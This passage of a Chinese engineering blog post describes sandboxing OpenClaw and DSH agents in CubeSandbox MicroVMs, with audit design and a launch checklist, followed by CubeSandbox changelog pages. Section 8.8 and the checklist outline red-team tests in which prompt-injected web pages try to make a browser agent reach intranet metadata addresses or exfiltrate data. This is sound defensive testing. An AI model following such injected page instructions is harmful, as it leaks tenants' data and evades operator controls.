tools.alsoAllow，应合并现有受信项，不能照抄命令覆盖。实测中出现过一个很有迷惑性的状态：插件检查显示 loaded，但缺少 tools.alsoAllow 时模型完全看不到四个工具。Gateway 进程只需配置 CUBE\_ADAPTER\_URL 和 CUBE\_ADAPTER\_TOKEN，不需要 Cube API Key。 给真实模型的提示明确要求"不读取 Skill、不使用宿主 exec，只调用 cube\_exec，完成后 cube\_release(action=kill)"。OpenClaw Activity 显示恰好两次工具调用，结果为 openclaw-direct-ok、退出码 0、短引用 45a28df5： ![OpenClaw Tool Plugin 实测的两次工具调用](./assets/2026-09-30-openclaw-dsh/11-openclaw-plugin.jpg) *图 11：OpenClaw Tool Plugin 实测的两次工具调用* 这证明 Tool Plugin 路线可行，但 OpenClaw 当前稳定公开接口没有"任意第四种原生 Sandbox Backend"。参考实现没有伪装成 Docker / SSH / OpenShell backend；企业 Profile 还应显式拒绝宿主 exec/read/write，避免模型绕过 Cube 工具。 **DSH Cordis Plugin 实测** 安装插件并应用参考 Patch： Patch 禁用了模型侧的 Bash、PowerShell、FS、FS Search 与字符串编辑器，再注册同名的四个 Cube 工具。DSH 可从环境变量读 Token，也可从只读 Secret 文件读取；容器部署更适合 tokenFile。本地 file: 安装会把插件复制到 DSH 插件仓库，修改源码后必须重新执行 add/update，单纯重启不会刷新已安装副本。 真实 DeepSeek V4 Pro 会话也被要求不读 Skill、不碰宿主工具。轨迹里只有 cube\_exec 与 cube\_release，执行输出 DSH\_DIRECT\_V2=338350、退出码 0、耗时 35127 ms，短引用为 f795f7fc： ![DSH Cordis Plugin 实测轨迹](./assets/2026-09-30-openclaw-dsh/12-dsh-plugin.jpg) *图 12：DSH Cordis Plugin 实测轨迹* 在 cube\_exec 保持运行的 35 秒内，CubeSandbox WebUI 同时出现 f795f7…f099。WebUI 显示的是同一完整 ID 的前后缀，Agent 与审计只公开前 8 字符： ![WebUI 显示同一完整 ID 的前后缀](./assets/2026-09-30-openclaw-dsh/13-dsh-webui-id.jpg) *图 13：WebUI 显示同一完整 ID 的前后缀* 最后，Adapter 审计页同时出现 OpenClaw 45a28df5 与 DSH f795f7fc 的 acquire、exec、release。每个 Tool 先幂等 acquire，所以同一引用可能出现多条 acquire；页面不含命令正文、输出、Token、原始 session key 或完整 Sandbox ID： ![Adapter 审计页交叉验证](./assets/2026-09-30-openclaw-dsh/14-adapter-audit.jpg) *图 14：Adapter 审计页交叉验证* 由此形成了可核验的三点联证：Agent 轨迹证明模型调用了什么工具，CubeSandbox 实时页证明 MicroVM 确实存在，Adapter 审计证明请求、Runtime、结果和耗时可关联。任务结束后 Sandbox.list() 再次为 0。 这条 DSH 路线已经不依赖 Skill，也能硬禁用常见宿主工具；但模型仍看到 cube\_\*，因此它是"直接 Tool Plugin"，不是下一节所说的透明 Provider。 ### 8.6 DSH 玩法三：把 shell/fs/pty 换成 Cube Provider Provider 版让模型继续使用 DSH 原来的 Bash、编辑器和 Terminal，不需要学一组 cube\_\* 工具： 建议按这个顺序实现： 1. 一次性 shell.exec； 2. fs.read/write/list/stat； 3. cwd、环境变量、超时、取消和完整 stdout/stderr； 4. PTY、resize、stdin 和后台任务； 5. Pause、Resume、重连和 Runtime 重启恢复； 6. 把 DSH approval 结果映射到平台维护的 network / workspace Profile。 测试重点不是"命令返回 0"，而是环境一致性：Bash 写出的文件必须立即能被 editor 读到；PTY 与一次性 Bash 要处于同一 Sandbox；workspace-write 不能意外写到 DSH 宿主机。 ### 8.7 两边都很好玩：两个 Agent 并行改同一问题 Snapshot 与 Clone 很适合 OpenClaw 子 Agent 或 DSH 多方案并行： 仓库提供了完整脚本 [scripts/cubesandbox\_agent\_parallel\_clone\_demo.py](https://github.com/runzhliu/aik8s/blob/main/scripts/cubesandbox_agent_parallel_clone_demo.py)。本次在同一基线上完成： 1. 写入 baseline； 2. 创建 Snapshot； 3. 故意写入 unsafe-change 后 Rollback； 4. 并发 Clone 两个沙箱； 5. Clone A 写入 minimal-fix，Clone B 写入 refactor； 6. 验证两个 Clone 互不影响，基线仍为 baseline； 7. 销毁三个沙箱。 实测样本： 这只是两路功能样本，但已经证明了一个很有价值的 Agent 模式：不要让多个方案在同一工作区互相覆盖，用 Clone 形成真正独立的执行分支。 ### 8.8 浏览器 Agent 与红队玩法 可以构建带 Chromium 和 Playwright/CDP 的模板，让每个浏览器任务进入独立 MicroVM。适合测试： * 打开含 Prompt Injection 的网页后，能否访问内网元数据地址； * CDP 与 noVNC 不带 traffic token 是否返回 403； * 下载文件是否只能落到 Session Workspace； * 浏览器 Profile、Cookie 和剪贴板是否跨租户泄漏； * 页面关闭后 Chromium、/dev/shm 和转发端口能否回收； * 浏览器等待用户确认时 Pause，下一轮 Resume 后页面是否保留。 OpenClaw 的远端 SSH/OpenShell backend 当前不提供完整的 sandbox browser 能力，因此不能从"Shell 能远端执行"推导出"浏览器也能无缝迁移"。 ### 8.9 性能与可靠性玩法 最后再把功能实验升级为平台压测： * 1、10、50、100 并发 Create / Pause / Resume / Kill； * 不同模板体积的 P50、P95、P99； * 同一 Snapshot 并发 Clone 多个 Agent； * OpenClaw / DSH Runtime 重启后重连原 Sandbox； * Snapshot 后端延迟和故障； * CubeProxy 缓存、节点隔离与网络抖动； * 孤儿 Sandbox、Volume、Snapshot 和 lease 自动回收； * 升级前后 traffic token、网络策略和快照兼容性。 ## 九、企业审计：页面没有历史时去哪里看 CubeSandbox WebUI 的"沙箱"页写的是"所有运行中微虚拟机的实时视图"。它不是历史执行列表：kill() 完成后，实例会从页面和 Sandbox.list() 中消失。因此，页面从 0 → 1 → 0 适合证明实时生命周期，却不能承担企业审计。 完整证据要分层保存： | 层级 | 能回答的问题 | 原始来源 | 不能单独证明什么 | |:--|:--|:--|:--| | OpenClaw / DSH | 谁发起、模型是谁、选择了哪个 Skill / Tool、参数与审批、返回给用户的结果 | OpenClaw Activity、DSH Trajectory、Runtime 会话日志 | MicroVM 是否真的创建、网络策略是否真的执行 | | CubeMaster / CubeShim / VMM | 哪个 Sandbox 何时创建、启动、暂停、恢复、销毁，模板和资源是什么 | 控制面日志与节点 /data/log/CubeShim、/data/log/CubeVmm | Shell 命令正文和业务身份 | | CubeProxy | Sandbox 调用过文件、进程、PTY 等哪些数据面 API，状态码和耗时是什么 | 节点 /data/log/cube-proxy/access.log | /process.Process/Start 的请求体、命令正文、stdout / stderr | | CubeEgress | HTTP/HTTPS 出站被哪条规则放行或拒绝，目标、路径、状态和延迟是什么 | 节点 /data/log/cube-egress/access.jsonl | 未进入 L7 代理的普通 L3/L4 流量；完整命令输出 | | MySQL 实例记录 | 历史上有哪些实例、创建和删除时间是什么 | t\_cube\_instance\_info、t\_cube\_instance\_userdata | Agent 对话、具体命令和输出 | ### 9.1 本次 OpenClaw 任务的真实交叉证据 为了把 Agent 回答与 CubeSandbox 页面做现场联证，又让 OpenClaw 运行了一次 60 秒保持任务。OpenClaw 返回 sandbox\_ref=d9aafb40，同一前缀同时出现在 WebUI 的运行中 Sandbox 行： ![OpenClaw 60 秒保持任务](./assets/2026-09-30-openclaw-dsh/15-openclaw-hold.jpg) *图 15：OpenClaw 60 秒保持任务* ![WebUI 运行中 Sandbox 行出现同一前缀](./assets/2026-09-30-openclaw-dsh/16-openclaw-hold-webui.jpg) *图 16：WebUI 运行中 Sandbox 行出现同一前缀* 再使用完整 Sandbox ID 在节点日志中检索，得到一条可以互相对齐的时间线： | 相对时间 | 证据 | |:--|:--| | T+0 ms | CubeShim create req start | | T+40 ms | Guest agent ready，MicroVM 启动完成 | | T+约 200 ms | CubeProxy POST /files，写入 Agent 任务文件 | | T+约 300 / 500 ms | 两次 POST /process.Process/Start，分别运行任务和断网检查 | | T+60.6 s | CubeShim 收到 Kill，随后 destroy sandbox finish | 这组证据比只看 Agent 的最终回答强：同一个 ID 同时出现在 OpenClaw 结果、CubeSandbox 实时列表、CubeProxy 和 CubeShim 中。但它仍不等于完整命令审计，因为 CubeProxy access log 不记录进程启动请求体和 stdout。命令、参数、输出、用户、模型和审批必须由 Agent Adapter 额外写结构化审计事件。 ### 9.2 直接查询节点日志 先拿到运行目标节点上的 cube-node Pod，再用完整 Sandbox ID 检索。多节点环境要根据实例信息中的 Node 定位对应 DaemonSet Pod，不能默认只查第一个： 实际集群还可能出现 Cubelet-req.log、Cubelet-stat.log、cube-proxy/error.log 等文件。它们更适合故障定位，不应代替业务审计事件。节点文件一旦轮转、Pod/节点被清理或磁盘损坏就可能丢失，生产环境不能等到出事后再临时 grep。 ### 9.3 CubeEgress 出网审计的边界 创建 Sandbox 时，为 L7 Rule 设置 action.audit： * none：不落审计； * metadata：默认值，记录时间、Sandbox IP、目标 IP/端口、scheme、Host、method、path、状态、字节、延迟、TLS 和 upstream； * full：v0.7.0 仍等同 metadata，不能据此宣称已采集请求或响应 Body。 只有进入 CubeEgress 的 HTTP/HTTPS L7 流量会写入 access.jsonl。例如 allow\_internet\_access=false 在 L3/L4 直接拦截一个原始 TCP 连接时，文件里不会自动出现对应 L7 记录。若企业要求"每一次出站尝试都有记录"，还要汇聚 eBPF、主机防火墙或 CNI Flow Log。 本次实验还发现一个必须在上线验收中拦住的问题：虽然 cube-node Pod 最终显示 Running，cube-egress-net 的探针曾报告 iptables ... nf\_tables ... TRANSPROXY ... incompatible，容器也持续出现 rule reapply failed，实际 access.jsonl 保持为空。也就是说，**Pod Running 不等于 L7 审计可用**。生产验收至少要创建一条 audit=metadata 的确定性 deny 规则，发起请求，并同时确认： * 请求被 403 拒绝； * access.jsonl 新增相同请求的 JSONL； * cube-egress-net readiness 正常且没有规则重放错误； * iptables legacy / nftables 后端与宿主机已有规则一致。 这次 L3/L4 完全断网验证仍然成功，但不能拿它替代尚未通过的 L7 审计验收。 ### 9.4 为什么销毁后数据库也查不到 CubeMaster 的 common.disable\_hard\_delete 默认为 false。默认删除路径会硬删除 t\_cube\_instance\_info，所以 WebUI 和普通数据库查询都看不到已销毁实例。本次实验环境未配置该字段，并且在 Kill 后按完整 Sandbox ID 查询得到 0 行，行为与默认值一致。 需要保留实例墓碑用于审计或恢复时，可以在 CubeMaster 配置中启用： v0.7.0 中，该设置会让实例信息改为软删除，并且其优先级高于 soft\_delete\_purge：t\_cube\_instance\_info 和 t\_cube\_instance\_userdata 不会被墓碑清理器删除。启用前要做容量、索引、访问控制、数据保留期和隐私评估。它只保留实例记录，并不会自动补齐命令、输出、用户和审批历史。 ### 9.5 推荐的企业审计事件 Adapter 在每次调用 CubeSandbox 前后都应写一条追加式结构化事件，至少包含： 不要把长期 Token、Cookie、Authorization Header、完整个人信息或无限量 stdout 直接写进日志。更合理的方式是：有限长度且经过脱敏的摘要进入检索系统，完整产物加密写入对象存储，审计事件只保存摘要和对象引用。 推荐汇聚链路如下： ![审计汇聚链路](./assets/2026-09-30-openclaw-dsh/17-audit-pipeline.jpg) *图 17：审计汇聚链路* 还要统一 NTP 和时区、给日志加 tenant\_id + session\_id + sandbox\_id + trace\_id、限制审计检索权限、记录查询行为，并设置在线检索与归档的独立保留期。v0.7.0 的 CubeProxy 本地脚本按约 500 MiB 阈值轮转且只留少量归档；CubeEgress 的 access.jsonl 也不能被当作永久存储，因此日志采集必须在节点本地轮转或故障前完成。 ## 十、生产上线检查表 * OpenClaw / DSH 与 Sandbox 位于不同信任边界； * 不可信 Agent Profile 已禁用宿主 Shell / FS / Editor，且模型工具列表中确实只剩受控远端工具； * OpenClaw 的 plugins.allow、tools.alsoAllow 与 DSH 最终合成 Profile 已在启动后验证； * 每个租户或会话有独立 Sandbox lease； * Adapter Bearer Token 来自 Secret Manager，服务间使用 mTLS / 工作负载身份并可轮换； * 多副本前已实现持久 lease、加密 traffic token、owner fencing 与 Runtime 重启恢复； * CubeAPI、CubeProxy、WebUI 和运维端点均有认证与 TLS； * 默认拒绝出站，只允许企业 Git、镜像、软件源和 Tool / Model Gateway； * traffic token 与 sandbox\_id 一起加密保存； * 不向 Sandbox 注入长期模型或云凭据； * 禁止宿主目录、Docker Socket 和高权限设备的任意挂载； * 模板固定版本或 Digest，经过扫描、SBOM、签名和回归； * 资源、并发、TTL、快照和 Volume 都有租户配额； * Pause / Resume、Connect、Kill 与异常清理都是幂等操作； * Agent、Sandbox、网络代理和外部工具日志可以用 Trace ID 关联； * 已用真实 L7 allow / deny 请求验证 CubeEgress JSONL，而不只是检查 Pod Running； * 已明确命令正文、stdout / stderr 的脱敏、摘要、加密归档与保留期； * 已验证节点日志轮转前可被采集，审计索引与 WORM 归档均可查询； * 若要求保留已销毁实例，已评估并启用 disable\_hard\_delete； * 红队测试覆盖 Prompt Injection、数据外传、内网探测和跨会话访问； * 集群升级、Token 轮换、模板升级和快照不兼容都有回滚预案。 ## 十一、结论 CubeSandbox 对 OpenClaw / DSH 的最大价值，不是"又多一种部署方式"，而是让 Agent Runtime 不再直接等于执行环境。 最推荐的企业路线是： 1. OpenClaw / DSH 留在受管 Runtime Pool； 2. 先用本文已实测的 Tool Plugin + 薄 Adapter，把命令与文件路由到 CubeSandbox； 3. 按会话管理 MicroVM，空闲 Pause，过期 Kill； 4. 用默认拒绝网络、traffic token 和代理注入保护数据与凭据； 5. 再补齐 PTY、流式取消、持久租约和透明 DSH Provider，最后评估整个 OpenClaw 助手进入 CubeSandbox 的 Preview 路径。 这样既保留 OpenClaw 的渠道与 Agent 生态、DSH 的可组合 Runtime，也把最危险的执行动作放进可观察、可回收、可快照的独立 MicroVM。本文的 Adapter 与两个 Plugin 已作为通用参考代码公开，不含私有集群、镜像仓库或账号假设；后续可以拆成独立项目并向上游贡献示例，但原生 OpenClaw backend 与透明 DSH Provider 仍需要先与各自社区确认稳定扩展契约。 **附：** 本次实测得到以下结果： | 验证项 | 结果 | |:--|:--| | MicroVM 创建 | 成功；本次样本 134 ms | | Shell / 文件 / Python | 成功 | | 完全禁止公网出站 | 生效 | | 沙箱公开入口不带访问令牌 | HTTP 403 | | 携带访问令牌 | HTTP 204 | | Pause | 成功；本次样本约 2.18 s | | Resume | 成功；本次样本约 2.72 s | | 暂停后的文件和 Python 内存 | 都保留 | | OpenClaw Skill → CubeSandbox | 成功；openai/gpt-5.6-sol 自动调用 Skill，沙箱创建 164 ms | | DSH Skill → CubeSandbox | 成功；DeepSeek V4 Pro 自动调用 Skill，沙箱创建 123 ms | | OpenClaw → Adapter → CubeSandbox | 成功；模型只调用 cube\_exec / cube\_release，证据引用 45a28df5 | | DSH → Adapter → CubeSandbox | 成功；宿主 Shell / FS 工具禁用，证据引用 f795f7fc | | Adapter 审计 | 成功；Agent、实时 Sandbox 和审计事件可按短引用交叉验证 | | 清理 | 沙箱销毁，集群沙箱数恢复为 0 | 这些时间只是一台节点、一个模板、一次请求的功能样本，不是性能基准。生产决策要继续测并发下的 P50、P95、P99、失败率和长尾。 本文严格区分已经完成和仍是路线图的部分： | 范围 | 状态 | |:--|:--| | Cube SDK 创建、Shell、文件、Python、断网、traffic token、Pause / Resume、Snapshot、Rollback、Clone、Kill | 已实测 | | CubeSandbox WebUI 数字助手、运行中沙箱和可观测性页面 | 已用 Chrome 登录态验证 | | cube-sandbox Skill 在真实 OpenClaw 模型会话中触发 | 已实测；保留对话和工具活动截图 | | cube-sandbox Skill 在真实 DSH 模型会话中触发 | 已实测；保留对话和完整轨迹截图 | | OpenClaw 官方 Tool Plugin → 受认证 Cube Adapter | 已实现并实测；四个 cube\_\* 工具按 sessionKey 复用租约 | | DSH Cordis Tool Plugin → 受认证 Cube Adapter | 已实现并实测；按 DSH Agent ID 复用租约，宿主执行插件可硬禁用 | | Adapter 策略、限额、HMAC 会话引用与 JSONL 脱敏审计 | 已实现为可运行参考代码；当前只开放 offline-code | | 创建 Digital Assistant / OpenClaw 实例并调用模型 | 未实测，官方功能为 Preview | | DSH 原生透明 shell/fs/pty Provider | 未实现；本文实现的是模型直连 Cordis Tool Plugin，另给出 Provider 接入边界 | | 浏览器 Agent、并发压测和跨节点恢复 | 未实测，列为下一阶段 | --- --- url: https://cubesandbox.com/zh/changelog.md --- # 更新日志 | 版本 | 发布日期 | |------|----------| | [v0.7.2](./v0.7.2.md) | 2026.09.23 | | [v0.7.1](./v0.7.1.md) | 2026.09.11 | | [v0.7.0](./v0.7.0.md) | 2026.08.28 | | [v0.6.0](./v0.6.0.md) | 2026.07.24 | | [v0.5.1](./v0.5.1.md) | 2026.07.10 | | [v0.5.0](./v0.5.0.md) | 2026.07.03 | | [v0.4.0](./v0.4.0.md) | 2026.06.14 | | [v0.3.1](./v0.3.1.md) | 2026.06.04 | | [v0.3.0](./v0.3.0.md) | 2026.06.02 | | [v0.2.2](./v0.2.2.md) | 2026.05.18 | | [v0.2.1](./v0.2.1.md) | 2026.05.14 | | [v0.2.0](./v0.2.0.md) | 2026.05.07 | | [v0.1.2](./v0.1.2.md) | 2026.04.27 | | [v0.1.1](./v0.1.1.md) | 2026.04.24 | | [v0.1.0](./v0.1.0.md) | 2026.04.20 | --- --- url: https://cubesandbox.com/zh/changelog/v0.1.0.md --- ## 2026.04.20 发布 v0.1.0 ### Cube Sandbox 首次开源发布 **面向 AI Agent 的极速、高并发、安全且轻量化沙箱。** ### 核心亮点 Cube Sandbox 是一款基于 RustVMM 与 KVM 构建的高性能、开箱即用的安全沙箱服务。它既支持单机部署，也可以轻松扩展到多机集群。Cube Sandbox 对外兼容 E2B SDK，能够在 60ms 内创建具备完整服务能力的硬件隔离沙箱环境，同时将单实例内存开销控制在 5MB 以下。 * **极致冷启动：** 基于资源池化预置与快照克隆技术，跳过耗时的初始化流程。可服务沙箱端到端冷启动平均耗时 < 60ms。 * **单机高密部署：** 借助 CoW 技术实现极致内存复用，并通过 Rust 重构与深度裁剪运行时，将单实例内存开销降至 5MB 以下，单机可承载数千 Agent。 * **真正的内核级隔离：** 每个 Agent 运行在独立 Guest OS 内核中，避免容器逃逸风险，可安全执行任意大模型生成代码。 * **零成本迁移（E2B 无缝替换）：** 原生兼容 E2B SDK 接口，仅需替换一个 URL 环境变量，无需业务代码改动。 * **网络安全：** 基于 eBPF 的 CubeVS 在内核态实现严格的沙箱间网络隔离，并支持细粒度出站流量过滤策略。 ### 生产可用 **在开源之前，Cube Sandbox 已在腾讯云生产环境经历大规模验证，稳定可靠。** 在它正式开源前，就已经支撑真实 AI Agent 业务负载并服务真实用户。 在真实生产部署中，单台物理机可在数分钟内拉起数以万计的沙箱实例。 我们今天开源的不是一个原型，而是一套已经通过真实规模考验的生产级基础设施。 ### 致每一位贡献者：过去、现在与未来 在这套代码公开之前，它就已经在完成自己的使命：毫秒级启动沙箱、在内核级隔离 Agent 负载，并在腾讯云真实生产流量下稳定运行。这一切并非偶然。 今天，我们打开这扇门。你们共同塑造的高性能 Agent 基础设施，将走向整个社区，属于每一位相信「安全、即时、轻量的代码执行应当开源且可自托管」的开发者。 致过去的贡献者：你们打下了地基。\ 致未来的贡献者：你们将把地基发展成生态。 开源因你们而闪耀！ --- --- url: https://cubesandbox.com/zh/changelog/v0.1.1.md --- ## 2026.04.24 发布 v0.1.1 ### 🛠️ 关键修复 * **修复**了模板重建时未使用最新 vmlinux 的问题，提升了沙箱环境稳定性。 * **更新**了一键安装脚本，支持非 eth0 网卡，解决了 CubeProxy CA 证书稳定性问题。 * **禁用**了初始化阶段主网卡上的 GRO，以提升网络稳定性。 * **修复**了模板清理时目标不存在场景下的错误处理，确保返回正确错误。 ### ✨ 新功能 * **新增** `cubebox destroy` 命令，支持通过 CLI 删除沙箱。 * **新增** OpenAI Agents SDK（含 Code Interpreter）集成示例。 ### 📚 文档更新 * **重写**了 HTTPS 与域名配置文档，补充了泛域名 DNS 记录说明。 ### ⚙️ 工程改进 * **实现**了多组件并行 CI 构建流水线，优化构建效率。 * **新增**了将 GitHub Release 资产自动同步到 `cnb.cool/CubeSandbox/CubeSandbox` 的能力。 --- --- url: https://cubesandbox.com/zh/changelog/v0.1.2.md --- ## 2026.04.27 发布 v0.1.2 ### 🛠️ 关键修复 * **修复**了当沙箱模板不存在时，CubeMaster 返回 5xx 而非 4xx 的问题。 * **修复**了 v0.1.1 一键部署过程中 SSL RootCA 证书缺失的问题。 * **修复**了 v0.1.1 部署过程中 CubeProxy 镜像构建失败的问题。 --- --- url: https://cubesandbox.com/zh/changelog/v0.2.0.md --- ## 2026.05.07 发布 v0.2.0 ### 🌟 重大新功能 * **新增 Web 管理控制台（Dashboard）**：全新可视化管理界面，支持集群概览、节点与沙箱状态查看、模板管理、API 密钥管理等核心功能；同步新增 CubeAPI Web 端点为 Dashboard 提供数据支撑。 * **新增 PVM 部署模式**：借助 PVM（Pagetable-based Virtual Machine），**普通云服务器无需裸金属，也无需嵌套虚拟化，即可完整运行 CubeSandbox**。腾讯云已在生产环境大规模部署并验证，相关改进已开源至 [OpenCloudOS 内核](https://gitee.com/OpenCloudOS/OpenCloudOS-Kernel.git)。 ### ✨ 功能增强 * **CubeMaster 模板创建支持自定义 DNS**：`cubemastercli template` 命令新增 `--dns` 参数，支持在创建模板镜像时指定 DNS 服务器地址。 ### 🛠️ 关键修复 * **修复**磁盘 QoS（blk\_qos）配置完全失效问题：Cubelet 读取 QoS annotation 时使用了错误的 key，导致沙箱磁盘 IOPS/带宽限速静默不生效；修复后配置按预期生效。 * **修复** Host Mount 请求被静默丢弃问题：CubeAPI 写入 `host-mount` annotation 时 key 与 CubeMaster 读取时的 `hostdir-mount` 不一致，导致所有宿主机目录挂载请求被忽略；修复后两侧 key 对齐，功能恢复正常。 * **修复** Cubelet 挂载命名空间无法接收宿主机 mount 事件：Cubelet 以私有模式创建挂载命名空间，导致宿主机后续挂载无法传播至 Cubelet；修复后改为 slave 模式，宿主机挂载事件单向传播，沙箱 host-mount 功能完整可用。 * **修复** DeadGC 误判 pause 中的沙箱导致其永久冻结：`scanDeadContainer` 在沙箱处于 pausing/paused 状态时向 shim 发起 state 查询，因 shim 持有互斥锁而超时，Cubelet 将状态标记为 UNKNOWN，沙箱无法恢复；修复后 DeadGC 主动跳过此类沙箱。 ### 🌐 网络改进 * **禁用 virtio-net TAP 网络卸载（TSO/UFO/CSUM）**：此前 hypervisor 向 guest 通告了多项网络硬件卸载能力，guest 发出的 CHECKSUM\_PARTIAL 包在宿主机 NIC 不支持对应卸载时会导致网络异常，甚至影响同宿主机其他流量；修复后 hypervisor 不再通告这些能力，guest 自行处理 checksum 与分段。 ### ⚙️ 工程改进 * **Cubelet CLI 日志标准化**：将 `cubecli` 各子命令中遗留的 `myPrint` 自定义输出统一迁移为标准结构化日志。 * **废弃代码清理**：移除 CubeMaster affinityutil 测试中不再使用的 `AppId` 字段。 ### 📚 文档更新 * **新增 PVM 部署指南**（中英双语）：包含 PVM host kernel 下载安装、GRUB 配置、模块加载及验证的完整流程。 * **优化快速入门**：说明普通云服务器可通过 PVM 部署，无需裸金属。 * **更新 code-sandbox-quickstart 示例 README**（中英双语）。 --- --- url: https://cubesandbox.com/zh/changelog/v0.2.1.md --- ## 2026.05.14 发布 v0.2.1 ### 🌟 重大新功能 * **官方 Python SDK (`cubesandbox` v0.1.0)**：随仓库发布的第一方 Python SDK，位于 `sdk/python/`，与 CubeAPI OpenAPI 规范完全对齐。覆盖沙箱全生命周期管理（创建/连接/暂停/销毁/列表/健康检查）、代码执行（流式 stdout/stderr）、文件系统访问、直连传输及网络策略配置。附带 12 个完整示例、并发性能基准测试，76/76 测试全部通过。 ### 🚀 性能优化 * **跳过 Cubelet 每次启动时的 SHA256 校验**：将 `SyncKernelFile` 拆分为 `EnsureKernelFilePresent`（按需拷贝，快速路径）和 `RefreshKernelFile`（强制刷新并校验），消除每次启动的高开销 SHA256 比对。在模板数量较多的主机上，正常启动延迟显著降低。 * **跳过 CubeMaster 冗余的 `docker pull`**：当源镜像已存在于本地时，跳过镜像拉取，消除模板构建时不必要的镜像仓库往返请求。 ### 🛡️ 安全修复 * **`shim`: protobuf 3.4.0 → 3.7.2**（RUSTSEC，恶意构造的未知字段可导致栈溢出）。同步升级 `containerd-shim-protos`、`containerd-shim` 和 `nix`。 * **`cubeapi` / `agent` / `shim` / `hypervisor`: rand 0.8.5 → 0.8.6**（GHSA-cq8v-f236-94qc，修复 `ThreadRng` 重新播种时的健全性问题）。 * **`CubeVS`: `golang.org/x/net` → v0.38.0, `golang.org/x/sys` → v0.38.0**。 * **`network-agent`: `google.golang.org/grpc` → 1.79.3**。 * **`CubeAPI/examples`: `pygments` → 2.20.0**。 ### 🛠️ 关键修复 * **修复 Seccomp 静默拦截所有系统调用**：`Seccomp` 初始化现在设置 `DefaultAction = ActAllow`，空系统调用列表直接短路为空操作，而非静默阻止所有调用。 * **修复 `shim` stderr 被错误路由到 stdout**：`Exec` 流转发路径中 stderr 错误调用了 stdout 的读取方法；现在 stderr 可被正确捕获并转发。 * **修复 `CubeProxy` 多 Worker 共享相同 PRNG 种子**：OpenResty Worker 现在在 `init_worker` 中以 `(ngx.now() * 1000 + ngx.worker.id())` 为每个 Worker 独立播种，避免缓存 TTL 抖动失效和同步缓存过期风暴。 * **修复开发环境同步覆盖 `cube-shim` 软链接**：`cube-runtime` 和 `containerd-shim-cube-rs` 现在写入 `${TOOLBOX_ROOT}/cube-shim/bin`，保留工具箱软链接布局。 * **修复 HTTPS-only 镜像源导致 Dockerfile 构建失败**：在切换 APT 源至内部镜像之前先安装 `ca-certificates`，避免 TLS 证书缺失导致引导失败。 ### ✨ 功能增强 * **`cubemastercli tpl watch` — 阶段性进度输出**：将原有的多行全量状态刷新替换为简洁的 `[N/7] PHASE` 进度行加终端摘要；在 CI 日志中更加友好。 * **IPAM — 全面优化与可靠性改进**（Cubelet + network-agent）：基于 `net/netip` 重写校验逻辑；通过 `encoding/binary.BigEndian` 简化 IP 与索引互转；为 `Allocate` / `Release` / `Assign` 添加边界检查和安全性限制；所有 IPAM 方法增加 `nil` 防护；明确文档化保留地址语义；新增全面的表驱动测试和并发测试。 ### ⚙️ 工程改进 * **示例重组为独立顶级目录**：从 `CubeAPI/examples/` 迁移至顶层 `examples/`，新增独立的 `host-mount` 和 `network-policy` 目录（各自附带 README）；注释翻译为英文。 * **`cube-bench` 提升为 `examples/cube-bench`**：现为独立 Go 模块，带自己的 Makefile。 * **Go 工具链对齐**：`CubeVS` 和 `network-agent` 升级至 Go 1.24.8，与 Cubelet / CubeMaster 保持一致。 * **`cubecli` 国际化**：`benchrun.go` 中残余的中文使用说明翻译为英文。 * **Docker 构建上下文清理**：`Makefile` 构建器镜像现在从 `./docker` 构建，而非仓库根目录。 * **Alpine 镜像源切换**：APK 仓库从 `dl-cdn.alpinelinux.org` 切换至 `mirrors.tencent.com`。 ### 🤖 CI / DevOps * **DCO 检查工作流**：新增专用 PR 门禁，当任何非合并提交缺少有效 `Signed-off-by` 签名时阻断合入。 * **GitHub ARC (Actions Runner Controller) 支持**：自托管 ARC 运行器已接入内核/包构建工作流。 * **消除重复 PR 检查**：多个工作流的 `push` 触发器现在仅限 `master` 分支；PR 验证仅通过 `pull_request` 事件运行 — CI 成本减半。 * **`sync-to-cnb`**：改用 `CNB_GIT_PASSWORD` 密钥。 ### 📚 文档更新 * **部署指南重写**：PVM 和裸金属现为首选部署路径。 * **OpenCloudOS 9 上 PVM 快速部署**：`pvm-deploy.md` 新增分步操作章节。 * **"关于我们"页面**：新增中英文版本，并配置 VitePress 导航。 * **项目 README 新增 X (Twitter) 链接**。 * **文档细节修正**：修正 Python 导入路径和架构图间距。 * **`README_zh.md` 更新微信/助手二维码**。 --- --- url: https://cubesandbox.com/zh/changelog/v0.2.2.md --- ## 2026.05.18 发布 v0.2.2 ### 🛡️ 安全修复 * **`hypervisor`: `vmm-sys-util` 升级至 0.12.1**（CVE-2023-50711, GHSA-875g-mfp6-g7f9）：`FamStructWrapper::deserialize` 未验证 header 长度与柔性数组长度是否匹配，可导致 safe Rust 代码触发越界内存访问。现已固定为 hypervisor workspace 所有 crate 共享的版本。 * **`agent` / `hypervisor`: `bytes` 和 `env_logger` 安全依赖升级**，作为同批依赖刷新的一部分。 * **回滚 `time` crate 升级（CVE-2026-25727）**：CubeSandbox 仅使用 `Rfc3339` 进行时间戳格式化输出，从不对不可信输入执行 `Rfc2822` 解析，攻击面不可达。该升级已回滚，待 MSRV 就绪后单独跟进处理。 ### 🛠️ 关键修复 * **修复 CubeMaster 模板镜像任务重复创建问题**：在 `template_image_job` 表新增 `request_id` 字段并添加 `(request_id, operation)` 唯一索引，使任务提交具备幂等性，彻底消除并发或重试 API 调用引发的重复构建任务。 * **修复 `cubecli exec` 在 stdin EOF 时的 nil 指针 panic**：`StdinCloser.Read` 在 stdin 到达 EOF 时触发 nil 指针解引用，导致 exec 生命周期被静默中断。修复后改用 `errors.Is(err, io.EOF)` 进行正确的错误包装比对，shim 日志现可正常输出成对的 exec 生命周期记录。 * **修复 PVM 模板的 ext4 artifact 运行时文件物化问题**：简化 `RefreshArtifactRuntimeFiles`、`validateArtifactRuntimeFilesPresent` 和 `ensureArtifactRuntimeFiles`，使其仅处理内核文件；将 `copyKernelFileAtomically` 重命名为 `CopyFileAtomically`，支持在包外复用。 ### ✨ 功能增强 * **E2B 兼容默认暴露端口**：默认沙箱暴露端口由 8080/32000 改为 **49983**，与 E2B 沙箱协议对齐。`CubeMaster` 成为默认端口的唯一权威来源，`Cubelet` 和 `network-agent` 中的硬编码默认值已移除。 * **Cubelet 存储插件支持配置 `cmdTimeout`**：在存储插件 TOML 配置中新增可选 `cmd_timeout` 字段，替代原有硬编码的 3 秒超时，允许运维人员在高并发负载下提高大文件 ext4 操作的超时限制，无需重新编译。字段缺省时行为不变。 * **Cubelet `newExt4RawByReflinkCopy` 错误诊断增强**：错误信息现在包含操作耗时、目标/基础文件大小及可用磁盘空间，格式为 `[step=N/4 cmd="…" elapsed=…ms target=size=… base=size=… free=…B]`。 * 